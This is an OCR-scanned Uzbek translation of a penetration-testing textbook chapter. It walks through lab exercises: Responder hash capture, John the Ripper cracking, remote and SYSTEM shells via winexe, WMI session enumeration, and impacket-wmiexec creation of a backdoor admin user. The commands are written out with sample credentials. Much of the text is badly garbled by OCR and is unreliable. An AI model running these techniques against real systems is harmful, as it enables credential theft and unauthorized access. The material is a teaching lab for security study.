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NTLMv1 ishonchliligini oshirish uchun serverga asoslangan nonce-dan foy-
dalanadi. NTLMv1 yordamida xostga ulanganda. avval nonce so‘raladi. Keyin
sorovehi mijoz NTLM xeshni oladi va uni ushbu ¢’lon bilan qayta xeshlaydi.
Keyin ushbu mijoz qo ng"irog-ini autentifikatsiya qilish uchun serverga yubori-
ladi. Agar server NT xeshini bilsa, u yuborilgan qo*ng'iroq yordamida Xeshni
qayta yaratishi mumkin. Agar ular mos keladigan bo"lsa. unda parol yig'iladi va
server harakatni boshlashi mumkin. Ushbu protokolning muammosi shundaki.
tajovuzkor kimnidir serverga ulanishga va statik nonce-ni tagdim etishga aldashi
mumkin. Bu shuni anglatadiki. NTLMv 1 xeshlari xom NTLM xeshiga qaraganda
biroz murakkabrog va ularni NTLM xeshlari singari tezda buzish mumkin. Shu-
ning uchun NTLMv?2 yaratildi.

Ntlmv2 go'ngiroq xeshini yaratishda ikki xil usulda beradi. Birinchisi. server
tomonidan. ikkinchisi mijoz tomonidan o*rnatiladi. Shunday qilib. server buzilgan
va statik nonce-ga ega bo-lsa ham. mijoz nonce ushbu hisobga olish ma’lumot-
lari sekinroq buzilganligiga ishonch hosil qilish uchun hali ham murakkablikni
qo-shadi. Bu shuni anglatadiki. jadvallardan foydalanish endi bunday xeshlarni
buzishning samarali usuli emas.

Eslatma! Shuni ta’kidlash kerakki, qo*ng iroq xeshlari pass-The hash tipidagi
hujumlar uchun ishlatilishi mumkin emas. Agar qaysi turdagi xesh bilan shug ul-
lanavoteanni bilmasa. ushbu bobning oxiridagi *Qo*shimcha manbalar™ bo*limi-
dagiv“hgshcal Hash Type Reference™ga murojaat qilish mumkin. Ishlayotgan xesh
turini aniglash uchun URL manzilidan foydalaniladi.

Responder vositasidan foydalanish

Xeshlarni ushlab qolish uchun xost qurbonini net NTLM xeshlarini berishga
undaydigan dasturdan foydalanish kerak. Ushbu xeshlarni olish uchun LLMNR
va NBNS so‘rovlariga javob berish uchun Responded-dan foydalaniladi. Server
tomonidagi gattiq go*ng iroqdan foydalaniladi. shuning uchun ikkita o*rniga faqat
bitta hodisalar to*plami bilan shug-ullanish kerak bo*ladi

Kali Linux targatish allagachon mavjud. Biroq. Kali har doim ham Responder
yaratuvchisi Loran Gaffier yangilanishlarni chigarganidek tez-tez yangilanmaydi.
Shuning uchun Responder-ning so‘nggi versiyasidan foydalaniladi. U allaqachon
kali laboratoriya nusxasida mavjud, ammo uni eng so‘nggi versiyasiga yangilash

kerak. Bazani yangilash uchun quyidagilar bajariladi:

L8 ed responder”
|_—{!mh' kali)-[~/responder]
S git pull
Already up to date.




Agar biron bir yangilanish paydo bo‘lsa, kod allagachon dolzarb bo*lib qo-
ladi. Har bir bajarilishidan oldin kodning dolzarbligini tekshirib. Respondg—dan
maksimal darajada foydalanish uchun eng zamonaviy usullardan i‘oyda]anlla}fo-t-
ganligiga amin bo‘lish kerak. Endi Responder o°rnatilgan. foydalanish mumkin

bo*lgan ba’zi variantlar ko‘rib chiqiladi. Avvalo. barcha yordam variantlari korib
chigiladi:

I_—~(’kuﬁ kali)-[~/responder]
$ ./Responder.py -h

<snipped for brevity>

Options:

==version show program's version number and exit

-h, ~help show this help message and exit

-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests w

ithout responding,
O -/ ethl), —-interface=eth(
Network interface to use, You can use 'ALL'
wildcard for all interfaces
-1 10.0.0.21, -ip=10.0.0.2]
Local IP to use fonly for OSX)
-e 10.0.0.22, --externalip=10.0.0.22

Poison all requests with another IP address than
Responder's one.

-b, --basic Return a Basic HTTP authentication. Default: NTLM
-, —=wredir Enable answers for nethios wredir suffix queries.
Answering to wredir will likely break stuff on the

network. Default: False

-d, --NBTNSdomain Enable answers for netbios domain suffix queries.

Answering to domain suffixes will likely break stufff
on the network. Default: False

Q . ~fingerprint This option allows you to Jingerprint a host that
issued an NBT-NS or LLMNR query.

? }w, =-Wpad Start the WPAD rogue proxy server. Default value is
alse

-u UPSTREAM_PROXY —upstream-proxy=UPSTREAM PROXY

Upstream HTTP proxy used by the rogue WpP4D Proxy fo;

OuIgoINg requests (format: host:port)

-F, -.-F orce W{uadA uth Force NTLM/Basic authentication on wpad.dat file

;;er::eva!. This may cause q login prompi. Default: ‘
alse

as a

=P, ~ProxyAuth Force N TLM (n'anspa.f'emh:)/Basic (prompt)
authentication Jor the proxy,

| . for the WPAD doesn't need to be
ON. This option is highly effective Wwhen combined wit
% Default: Falge
~Im Force LAf hashing down g

! grade for Windows XP/20,
earlier. Defauly: False _—
-V,

—verbose Increase verbosity,

D
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Sapelop : interfeysni ko‘rsatishdir®. Sinov uchun
Korib chiqiladi. Eng muhim parametr interieys «0°'p interfeysli tizimda
1sosiy tarmoq interfeysi ech0 dan foydalaniladi. Agar ko'p in : \ dkons
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o  dor idan tarmoqdagi proksi-serverni topish “C!“m IS : k'
quriimalari tomon ‘1 Internetga ulangan bo‘lsa. undan toydalams.hI rlnum n.
T stk oaale Tt ishlayotgan
A kali box proksi-server orqali o*tishi kerak bo'lgan ‘a;'“:]?qdla 1shidy o
Ammo. kall boX 5 i i ichi ib keladi. shuning uc
bolsa. bu zararlagan mijozlarning ishdan chigishiga Oht:efdan e sudalarihrins
fal'e Y s =) B % ™ / g
ushbu parametrdan foydalanmagan ma’qul. - pagm erini q{dirsa u holda
dt alli E)'( [wnd*\ki aoar xostlar veb-trafik uchun WPA senlaniShioa olib keladi
[ - ) o . o "
e unday veb-trafik Hashni olish uchun Resgioncen { Kutish kerak bo‘ladi. Va
t:ar L \Z' avjud bo*lmagan manbaga kirishini ullsb all el
damdir m B o iladi 1bu param =
'L; 1101(13&;\ y evarka nasbiia variantidan foydalaniladi. SS asos]?v ma’lumotlarni
gl ai Ne BISTSHd ‘n fovdalanadigan xostlar hagida ba’zi | ”'l £ B pavs) Sdael
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7 : kr beradi.
kompyuterlar onlayn ekanligi hagida

Kali box to*g'ridan-to’g

iva ishi 16.1:
Laboratoriya ishi o

. ida parollarni olish
onder yordami . ‘ -
bl{;i‘;hun GitHub omborida ushbu bobd:%]g; ;i::-,u ;:E A{;) N:]E
Eslatmﬂ; USDI?U 0 tarmoq sozlamalarini .muhokamalc!ab g e
laboratoriya ishlari uchLlil;ih davom etishdan o[cl'm', ushb.u liaj:o :rz:imn bigess. s

EY]I '“la;’.l“ﬁ'i S'I;iusll]1dsgl1?1n ushbu faylni 0°qib chiqish kerak. Ag

shonch hosil qi

rug‘ini ush-
i aform show buyrugini us
- i llari kerak berlen SRS t‘?zr ishga tushirish mumkin.
Uizimlarning IP manz aform katalogidan ishg

' cal ot e ; R i

bu bobning pastki katalogldag‘slo'ﬂg, bilim amalda qo ”anall?-d}: Smmll.ltt:: ﬂgéiild?
Endi asoslarni bilganda box bilan ishlaydigan maqsadli kompy logiga o'ti-

Windows Server 2016 va Alu bo? a ulaniladi. Keyin Responder katalogiga

Birinchidan, SSH orqali Kali M8 darajasida o‘zaro alogada bo'lish va

i i i bi rakli imtly 02 i der ushbu port-
fzdl' s x'zmat!antbiz?s:ichun vositaga aylanadi. Bu Respon P
Pache va smbd’ni to'X

Responder ishga tushiriladi: c
7



E—(kaﬁ kali)-{~/responder]

$ sudo bash

I_—(roo! kalij)-[/home/kali/responder]
# service apache? stop

I_—rroo! kali)-[/home/kali/responder]
# service smbd stop

(root kali)-[/home/kali/responder]

#./Responder.py -wf -1 eth0)

<snipped for brevity>

[+] Poisoners:

LLMNR [ON]

NBT-NS [ON]

DNS/MDNS [ON]

[+] Servers:

HTTP server [ON]

HTTPS server [ON]

WPAD proxy [ON]

Auth proxy [OFF]

SMB server [ON]

<snipped for brevity>

[+] Listening for events...

lfieja]as_htiri]gan vazifa hal qiliniladi, lekin 16.1
mav_]udﬁbc?"lmagar_l manbaga kirishga harakat qilinsa, nima hosi] bo*lishi ko‘rsa-
}1I§an. 'Iillrlsl;: tﬁqlqlangan” xabaridan tashqari, Windows tizimining boshqa g'a
all Xatti-harakatlari ko‘rinmayapti. : Fitia 5 : i
mumkin: Yaptl. Ammo Kali tizimida ko Proq faollikni ko*rish

-rasmda Windows tizimidan

gﬁgﬁ ﬁ TLMv2-SSP Client - 10, 0.0.20
TLMv2-SSP Username : GHH\;
O/SMB] N TLMv2-SSP Hash - Bl

target::GHH:9991]10f¢ ' 74
LTI fec6fd06ac: 744948

1ED10872F65p3339p.
030005200480034003900320052005 1004 100 13000 EO 05 70049004 £ 002 -

000000 -
2E0034003000000000000000000¢ 00300025 000090

y -

16.1-rasmda ko‘rsatilgan misolda zarar haqida xabar ko‘rilmayapti. chunki
rejalashtirilgan vazifa maqgsadga qaratilgan. Hagqiqiy ssenariyda bu yerda Net-
BIOS voki LLMNR hagidagi xabarlarni, shuningdek, xost tizimining ba’zi tahlil-
larini ko'rish mumkin. Misolda foydalanuvehi nomi @ bilan birga NetNTLMv2
xeshi olinadi. Ushbu hisobni buzishga harakat qilishini va uning tizimda ishlashini
tekshirish mumkin. O*z-o°zidan ishlayotganda. boshga xeshni ko‘rish mumkin,
chunki nonce mijozi har safar o°zgaradi.

Eslatma’ Ushbu misolda A0S laboratoriva - maydonida ishlanadi. AII'S
UPC iranshvarsiva voki Mudticast trafikni go " lab-quyvatlamaydi. shuning uchun
hagigiv ~ararni b ;;“mu olinmavdi. Buni rejalashtirilgan \'u:{im h.f'h.ff: modellashii-
vildi. Zararlanish welm =arur bo lgan hagiqiv so rov yuborilmaydi: ammo ushbu
metodologiva Mudticast va Broadeast 4o 'Huh-qurn;.’hmmh;?'un_ umhrm'c_.' sararla-
nishga u.’:"f‘- keladi va mijozlar LLMNR yoki NetBIOS 'ni oz ichiga oladi.

B C:\Windows\ system32\ cmd.exe

{:\Ugerqxuqer>\\HOTQRE&LHOST'“DT&RE;LSH&RE\nOTaPeaIrile'exe

\ccess is denied.

C:\Users\User>

16. 1-rasm. Mavjud bo ‘Imagan manbadan fayl so ‘rovi

or. uning ishlashini to*xtatish uchun Responder oynasida
I Ke)’i;lgi qadam. jon Ripper qayta ishlay oladigan for-
ni qayta tiklashdir:

Endi to*g'ri Xesh b
Ctrl-C tugmalari bosiladi.
Matda Responder-dan xeshlar

L /DumpHash.py

Dumping NTLMV?2 hashes: _ 74 A9ASIEDI0872F65D2239B4B937D-
oot CGHH999110fcc6fd0bac: ‘ = Y EQ . o o (8
B A ;{?:ﬁef;:’;rﬁ)fff;';r?oanr{nncoﬁﬁuoogaw,n:j}%?‘jéﬁ;ﬂo"ﬁ;a?g“
3”””—0”0000’0””3””53””4000””053”({0fngr;nfmojséonmow300330575-
0050005200480034003900320032003 mmmamn()amﬂﬂn 2D00500052004800340039-
onacnoémr;a_mmsmnacnanmos.-;nqj700,;90040!9{;3_0MJD0M.”m“ oG
003 3p053005 | 0p¢1004600560022082 20033002F-
20032004 1 C000500140053004D004 2 2
006C006F00630061000% 0 g00C0653150DE09D20106000400-

006('006":006300“Mgggt?oooooooooooooooooooosooooammgo-
020000000800300030000 " 4273 EF2AD6EBOA3OFCCITFIA-
60 0 0000000000000000000000000000-

C
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000900.-’Cﬂﬂ6300|;§b666f10730()2F003.’(H}.i(JOH_’E(HJj(J(HJ."E()H}H(H)
2E00340030000000000000000000

Bu yerda NetNTLMv2 xeshni, shunin
fayl ko‘riladi: DumpNTLMv2.txt va Dum
tilgan bo*lsa-da, Responder tomonidan y
bilinadi. shuning uchun Jonni v2 fayliga q
mumkinligini ko‘rish mumkin:

gdek katalogda yaratilgan ikkita vangi
PNTLMvI.txt. VI va v2 fayllari yara-
uborilgan Xesh 2-versiya (v2) ekanligi
arshi ishga tushirish va u parolni buzish

L wgel -g |

https://raw.githubusercontent, com/GrayHatHacki 18/ GHHV6/main/Ch ] 6/passwords. txt
Ushbu laboratoriya ishi uchun maxsus yarati]

gan parollar ro*yxatidan foyda-
laniladi. Buning uchun Github fayli olinadi,

L john DumpNTLMv2.1x1 --wo= Passwords.ixt --py=K orelLogic

Bunday holda, jon Ripper bilan KoeLogic qoidalari 1o
Ushbu goidalar to*plami juda gimmat va juda ko*p turlj Xil almashtirishlar bilan
dunyoning kichik ro‘yxatlarini sinab ko‘rish uchun juda mos keladi. Holatlarda
fasllar va “parol™ so*7i bo*lgan vosita mavjud bo‘lib, y juda ko*p xeshlar bilan
tezda parolni oladi.

plamidan foydalanildi.

Using defaulr input encoding: UTF-§

Loaded 1 password hash (netntimy2, N TLMv2 C/R [MD4 HMAC-
Will run 2 Openpp threads

Press 'q" or Ctrl-C 1 abort, almost any oth,
Winter202711 (target)
12 0:00:00:27 pONE (2021-01-18 04:36
Summer19951 . Winter2029s

Use the "--show -Sformat=netntimy2"
passwords reliably

Session completed

MD5 32/64)
er key for starys
) 0.03663g/s 752996p/s 752996¢/s 752996C/s

options (o display all of the crackey

Winexe vositasidap faydalanish
ilan ishlaydigan Win

sa, Winexe-dan “t
b tizimda qo*shim

tizim bjlan ; ‘]~
Zim” nomidan qobigtin ; 1Zim k.)llan ishlayotgan bo°l
cha imtiyozlar beradi.

By -

Laboratoriva ishi 16.2: Masofaviy ti?imlarga kirishda
" Winexe'dan foyda'lamsh ‘ Sl D
Responder yordamida magsadli tizim u'cl:'h::nk]y:;l??n::; i::lgn\fl'e f i fb}rdalanish
endi magsadli tizim b.{]af‘] rqt?;i(ijlii\;ta:_}.scgr?sll1ljing keng tarq-alrgan us_uli his_oi_aiaflliiéllj;
lEle\’llel‘ltl;[al'f-_m nfj??;fmhﬁ vara;tish uchun magsadli tlzlrpdag:n};'iS::rl;'i:alndan
‘In exe boshgaruyv / . i Xizmatni y S
:l:'”:r.:i\zr ali lcllomlangan quvurlar(%an 10}-d’sflanad1: Lllsht;:iSh el
= q isl dizmat nomidan bu}'ll'qlar,m .C]aq S v boshlanadi.
%9'0g, unga Wianish ot hida 16-1 laboratoriya ishi tugagan Jpaan -(-)Shll im
Ushbu laborat . -ISI bosgichlari bajarilganiga ishonch hosil gilis OZldli
Ushbu topshirigning bdlc::;sidﬁl'l chigib. uy katalogiga qaytiladi. Keyin maqgsa
ar qu s

iri . . H 4 7 iPC$
g i tini olish uchun smbelient’dan foydalangan holda
xatin

tizimdagi ulushlar roy
= tekshiriladi:

L exit Pt 3] 11
L—§ smbelient -U 'GHH/targe1%sWinter2021.
Sharename i'_i'_m’ Comment

-1 10.0.0.20

ADMINS Disk Remote Admin

CS Disk Default .s'hure‘

IPCS IPC Remote 1PC o
SMBI disabled -- no workgroup a ailable

. . vositalar uchun quyidagi-
_ digan ko*plab e e Bt
s da foydalanadiga : ini ko'rsatishning keng
S T B adli ?izimga kirish ma Iunu;tlann(:hi accopie tote
&1 Tobet igiladi mags nuy :
lar ko*rib Chlqlladl- T,nqqu\ridagichﬂ <d0men>/<f?)’da7%21 A
g g il I:0”‘]1‘ 110tfarini GHH/target%wl?teru-]umotlari bitta tarmooq/lar-
Bu yerda hisob ma’lus hisobea olish ma : :
- : li. Ushbu hisobg sratsion tizim tomonidan ularsiz
ol e le;rc"zi maxsus belgilar operatsion 2; lli resurslar ro“yxatini
- » a “ 2 - ) P,
dan foydalanadi. Chiiak] I parametri smbelient’dan tLZlin'shgmUmkin‘ shu Junia-
talqin qilinishi lel;I.kl!’l. ;lua nanbalar mavjudligini ko'ri ]
S0'raydi, Tizimda bir ne S -
: : ini i tushirish imkoniyati
dan iPC$resursi. - dlieini bilib, buyruq satrini !s:1gjcmm ¥ o g
si u : ini ko‘rsatish
G 3 iprating Fo dalanuvehi e ETO_ i atish uchun //< syntax //<IP
g ol eklicilud. A6y far maqsadli“mmm' ket higish paytida xizmatni
dan foydalaniladi. fﬂq%}t_l:ju Safoydalaniladi. Shunufdek. chiq
ADDRESS>> sintaksisidan o*i go*shiladi.
; rog’1 g
©*chirib tashlaydigan--uninstall bayrog 11 //10.0.0.20 cmd.exe
! oyninstall LUV UL .
L GHH 'rmge:%.’ﬁ'mera?g;” AR
S winexe -U 'GF o 0.1439.
AMicrosoft Windows [Version 10.

erved.
: iohts reserve
(c) 2016 \licrosofi Corporation: j{:{"); f} ;
C:\Windows\system32>whoami )

&hh\target

G




Endi tagiglangan Windows va buyruq satrini ko*rish mumkin. ya'ni bu amal-
ga oshirildi. . o
) Keyinchalik, qaysi parametrlar bilan ishlanilayotganni ar.1lq]z}sl1 uchun imti-
yoz darajasini tekshirish kerak. Whoami'ni kiritish orqali qobig*ning f‘oyda[anuv:
chi identifikatorini chop etish mumkin. Bunday holda, foydalanuvchi “ghh\target
foydalanuvchisi, ya’ni ushbu foydalanuvchi imtiyozlariga ega bo‘]inad.i.1 _

E’tibor berilsin, Agar ctrl-C tugmachasini bosib konsoldan chiqilsa yoki
--uninstall katagidan foydalanilmasa. yaratilgan xizmat magsadli tizimda qola-

di. Bu tajovuzkor uchun yomon, chunki masofadan Kirish uchun

foydalanadigan
usullarning izlari qoldiriladi. Penetrat

sion testlarda artefaktlarning mavijudligi
boshqa buzilish sodir bo*Iganligini aniqlashni qiyinlashtiradi va by quyidagilarga
olib kelishi mumkin tizimdan chigqandan keyin katakchalar belgilanadi. Bu har
doim ham darhol aniglanmaydi. Olti oydan keyin kimdir xizmatni tark etganini
so‘rashi mumkin. Shunday qilib, agar narsalar tartibga solinmasa, ba*zi bir narsa-
larga javob berish uchun eslatmalarga ishonish kerak bo*ladi.

Va nihoyat, qobig*dan chigish uchun buyruq satriga exit yozish mumkin. Ke-
yin qobigni tark etilganni bildiradigan Kali taklifini ko*rish kerak. Server tomoni-
da xizmat ochiriladi va ulanish yopiladi.

Laboratoriya ishi 16.3: Yuqori imti

uchun Winexe

Ko*pgina hollarda, magsadli tizimda harakat qilish uchun yuqori imtiyozlar

talab gilinadi. Oldingi laboratoriya ishlarida oddiy foydalanuych; sifatida kiri
mumkin edi, lekin aslida tizim foydalanu

vehisi sifatida kirjsh kerak. Ushbu foy-
dalanuvchi tizimga barcha kirish huquglar

. iga ega bo*lganlig; sababli, hisob ma’lu-
motlari, xotira va boshqa qimmatl; obyektlarga kira oladj.

Yozlarga ega bo‘lish
"dan foydalanish

Lg winexe -{J ‘GHH/target%Winter202 ] " —uninstail \
==system //10.0.0.20 cmd exe

Microsoft Windows [Version 10.0. 14393 ]
(c) 2016 Microsofi C, orporation. A]) rights reserveq
C:\Win dows\systemn3 2>whoami '

whoami

nt authority\system

T anidek. endi jabrlanuvchining kojnpyL}te.:r_iga :Zlmbg?i\;si?ilil?ut\:u
lxu'ru_ub lu.rg.am. e 1‘1 : I'nashq“i“g vazifalariga kmtllmaban e g
chisi sifatida k"-”a.d].' [.J_T E vanei foydalanuvchilar yaratl?h. quri IT}:Ian?i Ba~
e ma'Imm'“la*mm-111!\ ai'cqhi- bajara olmaydigan Giosliga ko pllab E?:Z-lruq satriga
f;O?JaSh \fn (Iiddl}l; ;;E;iid-?:::atnandan so'ng qobigdan chigish uchun buy
arishg; con - lugals - :
.!;;rillsll:i:.r‘iilli;zag“giga ishonch hosil qilish lozim.

WML vositasiian f&?ﬂ:;;am;ll korxona miqyosidagi
tion ( - ot tula.
s Instrumenta nik xususiyatlar to*pla
/ 's Management T un texnik ) _
w Witlgws l-[qi\.""l;i ma’lumotlariga Kirish }lclhtar apparat va boshqa koplab
t:7:1m fkonﬁgdllrd_ sl‘r atorlarga jarayonlar. mza'u;] acii i haniotlarni ‘vo*yxats
. ni R . s bt er . s g s .
e M'I ‘f\'ml ilotlarini ko‘rish imkonini be ‘chirish va maqgsadli tizimdagi
ks nzlmlt3131 F mni yaratish. ma’lumotlarni o’
lash, yangi ma’lumotlarni )

ini . ari asosida o'zgar-
i ining ruxsatl
' larni qo'ng‘iroq giluvchi Foydalanuvch
Ma lumotlarni qo'ng

=} . i tizim haqida jllda
i yor ama sadli tizi
Chi uchun bu wml ) 01dam1d q
lirish Ja quiI‘. Buzg un

inligini anglatadi.
ini ish mumkinligini angla
I lish va uning holatini boshqarish m
‘0"p ma’lumot olish v g

Laboratoriya ishi tllﬁ;-‘m —
i m OB a’lumotga
rqali tizim dnligi bo'yicha m g
' WMI‘Izlgotlarini so‘rash nmml\nili;;_i,“Shni et fash samkic:
WMI bilan “Z“.“.n?a hagida bir nechta nar.salan:mn ool G TR I
€ga bo*lib, maqgsadli ll'lzlm vfi bor-yo-gligini blilsbh l;cboratoriya it nuyst Ty
‘loa tushish xa . Ushbu la ya ish S e
l\_’lc_lsalan. qo 15,1‘_1 tus ilishni istash muml\m.. U v kirganligini bilish uchun ikki
oz kirganligin hl[] uvchilar magqsadli izimg g
dalanuvchi yoki foydalan

1 I So" - d 1 rd .I ]‘ = i _.mi S[I]()\"lar tillda
I 3 % ‘l 1 n (e 1 t aI 11 =

i ishlati-
i so‘rovlari uchun ishla
k. WQL ) TRCE b];u?c; Ss(:.)'rovni yaratish uchun
ish kerak. _ ! Biroa.
{WQL) SO*roV yaraush[;fl;iliga (SQL) o*xshaydi.
adigan tuzilgan so‘rov

. ko'proq bilish kerak. - i ave
WMI ganday ishlashi hagida blltozi';(;ip;?f?ish uchun” bo*limida wmi orqall m
b L re){ =

i jud. Biroq,
i iri : iluvchi yozuv mavju
. Ushbu bobning m.(m.d?;iri ro'yXatiga_lshO{'a_ lqlélll"
Jud bo'lgan Microsoft Sljl ekitasi ko'rib clllfll a .I o session sinfidic.1 ush-
Ushby mashqda ulardan fagat n32_log

: irinchi sinf Wi o i, boshlanish vag-
: i bo*lgan birme! s kirish turi,
Murojaat qilmoqchi b;ﬁrgiigan sessiyalar, tizimga
U sinfda kirish amalga 0

: ish uchun
‘ud. Avval foydalanis L
:da ma’lumotlar ma\’-ludvni qanday bajarish ko‘rib
ti va boshqa ma’lumotlar hafil yordami da ushbu so‘ro
. in wm
SO°rov tuziladi va keyin W

chiqiladi:

session
in32 fago.li‘
select LogonType, Logonld from ™ iy




motlar tanlanadi. Birinchi
i. Birinchisi, lo
va amalga oshiril » logontype bo*lib, und .
- ayotgan tizi Los » Unda tur hagida ma" .
seansi uchun iChkiyidim'ft-flmga kirish mumkin Ikkinch(ilsi Lma lumot mavjud
T itikatsiya : ) -Logon Id-bu kiris
mijozidan foydalani ragami. Ushb ; : s u kirish
N anish ker : u so‘rovni bajari . )
rinchisi — pth-wmic ikki:k};'K‘ah WMI uchun ikki xi] mijoz ajarish uchun wmi
¥ 2 : - Chl o 5 A 224 ¢ . D -
%{]021 skriptlarni yaratish OSZIE Implélcket skriptlarining bi% q?sgﬂ .Sopr'ltjvl‘lr. bi-
mic syntaxt so‘nggj woq, shuning ucl mi. PTH-wmic
. % nggi laboratoriya i : wn bunega et y :
sisiga 0°xshaydi. toriya ishlarida foydalangan Wi ¢’tibor qaratiladi. -
Foydalanuvchi va xost xud < in exe vositasi sintak-
. & g ; S XUu d‘
oxiriga qo*shiladi: I shu tarzda ko*rsatijadi keyin wql
. Wql so“rov buyru
yruq
Ls
pth-wmic -U
i, ehh/targetv Wi
'select LogonTy get%Winter20211"
gonType,Logonld from win32 logon :2? ek
= session"

Buyrug bajarilga ;
gandan so‘ng, kirish sessiyalari ma’lumotlari

f ;L;O?‘jd llz’:;:.??_iogonSessian .

99910 o

9975

996|5

22720456/ 10

2271011010

337683013

92491|3

48170)2

48115|2

22687459)2

226870622

‘rib sessiya va kiri

¢ : iri

rsa‘filga.n, shuning uchun qaizt
21 afuqlash uchun har i -

! -1-jadvalga qaraladi,

:l‘;ekofriladi. Bu yerda bir
turda )_Si'_yjalar Yiziq ekanligs
81 Kirishlar v, ulamii;g

i {(II‘]Sh[aI‘Eni topish

- O°rsatishi ke

rgetzolWinter20211 /10,0 0.2 .
i L0200

32 logo

gonsessio,
: Sion
ssion wh

C.'tz!ec'!.l.ogon]d Jrom win
ASS: Win32 LogonsS
Logonid - )
22720456

ere ngmﬁ«v
YpPe=2or Lo
“ogonType -~ 1 om

22710110
48170
48113
22687459
22687062

16.1-jadval.

Kirishturlari

Kirish

Kirishsessivalari :
A Turi

Mazmuni

dalanadigan tizim hisobi bilan

Inte

|38

Xiz

th

Bir nechta turli xil login

Rits Biss s A
di: biri 30k seriyasidan, birl 50k
win32_logge

sidan, Kip S P
ta an. Kirish sessiyalari
- dqoslanadi. Afsuski. WQL

18h uchun so‘rash qiyin.

Z::u_“'“g uchun kerakli giymat
':'pt yoziladi. Har bir tizimda tle
do rsatilganidek, egrep qiymat idan ko‘ra tizim
an foydalanilganligiga ishon¢

:‘-—3 pth-wmic -U 'ghl/targe 1
select * from win32_1 oggedo

Faqat tanlangan Logon!D qi

nt.Domai
Session. Logonld=

IR . =
b \root\cimv2: Win32_Accou
\WVroot\cimv2: Win32_Logon

\raot\cimv2: 11 ":'HJ..?_.-Iccom?I- Doim

0 Odatda kompyuterning o'zi foy
tizimea kirish

matlari voki foydalanuvc
boshqa turdagi kiris

3 Tarmoqqa Kirish.
masofaviy protokolla

ratilgan va garchi
hisobga olish ma’lumot
{izim bilan bevosita aloga

10 Masofaviy interaktiv
ga kirish.

ogWinter=

| odatda konsolga Kirish. lekin terminal xiz-
hi tizim bilan bevosita alogada bo*lgan

h ham bo'lishi mumkin.

raktiv kirish. Bi

Bu WMI. SMB va interaktiv bo‘lmagan boshqa
r uchun kirish
Ushbu kirish ishlaydigan Xizmatlar uchun aj-

pu xotirada mavjud bo*lishi mumkin bo*lgan
larini ko*rsatsa hamxotira, foydalanuvchi

da bo*lmaydi.

matga Kirish.

Kirish. Odatda bu terminal xizmatlari tizim-

mumkin. Ulardan uchtasi ko'rib chigi-
iri 1 milliondan ortiq™ seriya-
donuser jadvalidagi foydalanuvchilar bilan
essiyalarining aniq identifikatorlarini

butun sonlar emas, balki satrlardir.

arni ko'rish
seriyasidan va b

orqali kirish s

chunki qiymatlar '
hun PTH-wmic va egrep yordamida

Jarni topish uc

har xil qiymatlar bo‘ladi. shuning uchun bu yerda

da olingan LogonlD giymatlari-

Jar
h hosil gilish kerak:

20211"//10.0.0.20 |

e 22720436 -¢ 48170 -e 22687062

nuser" | egrep

ymatlarini ko‘rishish kerak:

n="GIII" Name= "rarget”|
122720456"

ain="WS20"Name= "DIM-1"|




L \root\cimv2: Win32_LogonSession. Logonld="48170"
\l\root\cimv2:Win32_Account. Domain="Ws20 "Name="DWM-2"
! lroot\cimv2:Win32_LogonSession, Logonld="22687062"

Misolda uchta foydalanuvchini ko‘rish mumkin: magsadli, DWM-1 va
DWN-2. DWM va MFD bu drayverlarga asoslangan hisob
ni e’tiborsiz qgoldirish mumkin. Buyrugni qachon ishga
boshqa ro‘yxatni ko*rish mumkin. Agar magsadli foydala
ga ishonch hosil qilishni istasa, ushby buyrugni bajarishd
tizimga kirganligiga ishonch hosil qilishi lozim. By
kin, shuning uchun fagat WS20 uchun mabhalliy b
chigiladi:

lar. shuning uchun ular-
tushirganingizga qarab.
nuvchi korsatilganligi-
an oldin uning maqsadli
yerda nagshni ko‘rish mum-
o‘lmagan jarayonlarni ko‘rib

L—$ pth-wmic -U hitarget%Winter20211 //10.0.0.20 |
"select * from wm32_loggedom:.~:er"] grep -v WS20

Tizim uchun mahalliy bo*Imagan har bir foydalanuyc}
lanuvchi nomj va LogonId qaytarilishi kerak-:

Va nihoyat, tizimga kirgan seanslarni ko‘rish mumkin,
dagi magsadli foydalanuvchi. WMI*dan foydalanib,
teraktiv tarzda tizimga kirganligini aniglandi. Shund

1i uchun domen, foyda-

Va bu GHH domeni-
magsadli foydalanuvchi in-

CLASS: Win32 _LoggedOnUser
Antecedent| Dependent
\Llroot\cimy2: Win32_Account. Domain= "GHH", Name ="y get"|
L iroot\cimy2: Win32 LogonSession. Logonld="2272045¢"

W iroot\cimy2: Win32_Account. Domain= "GHH"Name= “targer”|
L iroot\cimy2- Win32_LogonSession, Logonld="22710110"

Wiroot\cimv2: Win32_Account. Domain~ "GHH" Name="

targer”|
W root\cimy2- W.f’n32‘LagonSe.s'.sion. L

ogonld="34484879"

n impackcl—wmiexac ikkilik fayli-
uvehi nomini tekshirish
ndows Maqgsadida ishga

testni o‘tkazish uchun foydalan

miexec dasturi va ushbu p i
tushiriladi- M

o @10.0.0.20" whoami
b ot Winter2021!@ . B) ureAuth
3 "”’I““-’RL""""'"’; “;‘ ‘!(;’; i{f;;?j gftﬁ.’.?.""ﬂ. 7100210f - Copyright 2020 Secu
Impacket v0.9.23.devi+202 .

Corporation
[*} SMBv3.0 dialect used
ghh'\target

i / hi yaratamiz.
ik bilan foydalanuvc
Keyinchalik orqaga qaytishi uchun orga eshlii;ilza S = Mgy

N e = halli *murlar guruhig lanuvchi
: chini makallly mg W52 inadi. Bu, agar foydalanuv
Ushbu foydalanuvchini mahalliy ‘ + bo-linadi. Bu, agar foydalanuv
. iq kins &t i ker nomi ostida
| anishda to°liq kirish hud un evilhac
: qa;\m 'llldmbh:'d t; btlllli ta"minlayd. Boshlash L:::::Ian foydalaniladi:
O zinikir o'zeartirsa. ) i
Yangi l‘:):ld'll'liuvchi varatish uchun net user buy
o o
- . 2 20"\
Winter2021/@10.0.0.2
8 impacket-wmiexec 'GHH' .'a:;gﬁ-' :Winter=
3 A
e ish belgisini ko rish kerak:
ivatli bajarish belg
ini va buyrugni muvafTagiyatli baj
U]aniSh abarini v o ureAuth Corporation
| _ Copvright 2020 Secure/
)111.162220.7100210f - Copyrigh
g+20210111.162220.
Impacket v0.9.23.dev1+202
[*] SMBv3.0 dialect used o
¥ 3 q "I.'..‘_ 3 - - '
e i orqali buyrugni bajaradi va nati Jham
lel tarkibini chiqaradi. shuning ue l.:l
Endi tizimda yangi foydalanuvchi

lar euruhiga qo‘shiladi:

ik us

Ushbu buyruq ishga iush]rlll’ga;;dif;hda 5

faylga yozadi. Dastur avu'"n?t:?\nrlini it

buyruq muvaffagiya ba_]al‘ﬂ!?; n:ahalliy ma’mur
